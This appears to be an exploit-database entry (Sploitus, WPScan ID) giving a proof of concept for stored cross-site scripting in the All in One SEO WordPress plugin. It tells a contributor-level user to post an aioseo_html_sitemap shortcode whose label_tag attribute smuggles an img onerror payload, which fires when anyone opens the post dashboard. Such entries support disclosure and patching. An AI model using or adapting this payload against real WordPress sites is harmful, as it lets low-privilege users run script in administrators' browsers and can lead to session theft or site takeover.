## https://sploitus.com/exploit?id=WPEX-ID:827EBA98-2B91-4524-A71A-306A0C0E5FB8
As a contributor, add the following shortcode to a post:
[aioseo_html_sitemap label_tag="img src onerror=alert(/XSS-sitemap/)"]
The XSS will be triggered when anyone access the post dashboard (/wp-admin/edit.php?post_type=post)